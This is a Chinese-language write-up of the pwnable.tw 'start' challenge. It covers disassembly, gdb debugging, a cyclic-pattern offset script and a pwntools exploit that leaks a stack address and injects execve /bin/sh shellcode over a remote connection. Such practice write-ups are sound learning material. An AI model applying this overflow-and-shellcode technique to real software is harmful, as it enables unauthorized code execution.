最近开始在网上找一些pwn题练手，由于pwn的环境一般来说是要比web的环境要难搭建的，所以要找到一些好的题目还是比较难的，最近找到两个还不错的网站，一个是pwnable.kr，另一个是pwnable.tw，这是tw上的题目，如果做出来的话会持续更新。
Start
拿到一个程序，我们先运行一下，看一下这个程序是干嘛的
运行示意
然后看一下这个程序几位的
文件信息
接下来我们就可以直接把程序丢到32位的IDA当中，反编译一下，但是却并没有什么有用的信息
图片.png
只能看汇编代码来判断该程序的运行
图片.png
这里是用int 80h来中断进入调用的，根据备注的提示我们也可以知道栈的长度和返回地址，但是对汇编不熟悉的，难免看的有点吃力，于是我们不妨试着用gdb来调试一下。
图片.png
我们让程序跑起来之后可以看到是一个等待输入指令的回显，我们不妨猜测一下，我们输入的数据有没有可能造成溢出，尝试一下。
ps：这里介绍一个十分好用的脚本，可以生成填充字符串，并且可以计算出栈大小
import sys, os, binascii, time
buf = (
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)
def show_error(msg):
sys.stderr.write(os.linesep * 2 + "ERROR: " + msg + os.linesep * 3)
sys.exit(1)
def bare_words():
string = " ".join(sys.argv[1:])
print "The used string: =>" + string + "<="
return string
def show_help():
print sys.argv[0] + " create "
print "\tReturns a pattern of chars."
print
print sys.argv[0] + " offset [size ]"
print (
"\tReturns the offset for the provided argument . Must be at least "
"three chars for non ambiguous match. May be a hex value. The conversion"
"is done automatically for little endian architectures (ie: x86). This "
"basically means that the string obtained from hex conversion is "
"reversed. WARNING: The hex decoding is skipped for valid hex values "
"that are part of the buffer itself as the hex decoding is a fallback "
"measure. Always use the 0x prefix in order to force the hex decoding."
"" + os.linesep + ""
"\tFor patterns longer than 20280 chars you must provide the optional "
"argument size in order to receive all the offsets for the Aa0 pattern."
)
sys.exit(0)
def show_pattern(size):
size = int(size)
count = size // 20280
inc = 0
while inc < count:
sys.stdout.write(buf)
inc += 1
mod = size % 20280
sys.stdout.write(buf[:mod])
print
def decode_offset(offset):
offset = offset.replace("0x", "")
try:
offset = binascii.unhexlify(offset)
offset = offset[::-1]
print "hex pattern decoded as: " + offset
return offset
except TypeError:
show_error("Invalid input offset.")
def show_offset(offset, size):
try:
pos = buf.index(offset)
if size == 0:
print pos
else:
position = list()
count = size // 20280
inc = 0
while inc < count:
position.append(str(inc * 20280 + pos))
inc += 1
mod = size % 20280
if pos + len(offset) <= mod:
position.append(str(inc * 20280 + pos))
print os.linesep.join(position)
except ValueError:
offset = decode_offset(offset)
show_offset(offset, size)
if __name__ == "__main__":
if len(sys.argv) == 1:
show_help()
elif sys.argv[1] != "create" and sys.argv[1] != "offset":
show_help()
try:
try:
if sys.argv[1] == "create" and sys.argv[2].isdigit():
show_pattern(sys.argv[2])
except IndexError:
show_error("You need to supply the value for the create action.")
try:
if sys.argv[1] == "offset" and sys.argv[2]:
try:
size = int(sys.argv[3])
except IndexError:
size = 0
show_offset(sys.argv[2], size)
except IndexError:
show_error("You need to supply the value for the offset action.")
except KeyboardInterrupt:
show_error("Keyboard interrupt received. Educated guess: the script took too long to execute. You used a really long size, didn't you?")
生成字符串
图片.png
可以看到该程序的确存在栈溢出漏洞，利用内存出错地址计算返回值覆盖的字节大小
图片.png
根据地址计算栈大小为20字节
图片.png
但是这题有一个比较坑的点就是，我们用checksec命令查看的时候发现程序是开启了NX防御机制的，因为是静态编译的，所以也不能使用return2libc，而且ROPgadget也找不到能用的跳转地址，试了一下用shellcode，却发现是可以使用shellcode来解决的，我也不知道为啥，这里贴上最后的exp
from pwn import *
debug = False
local = False
x86 = True
if debug:
context.log_level = 'debug'
else:
context.log_level = 'info'
if x86:
libc = ELF('/lib32/libc.so.6')
#libc = ELF('./libc-2.23.so')
else:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
p = process('./start')
else:
p = remote('chall.pwnable.tw',10000)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
ret = 0x08048087
payload1 = 'a'*20 + p32(ret)
p.recvuntil(':')
p.send(payload1)
leak = u32(p.recv(4))
payload2 = 'a'*20 + p32(leak+20) + '\x90'*4 + shellcode
p.send(payload2)
p.interactive()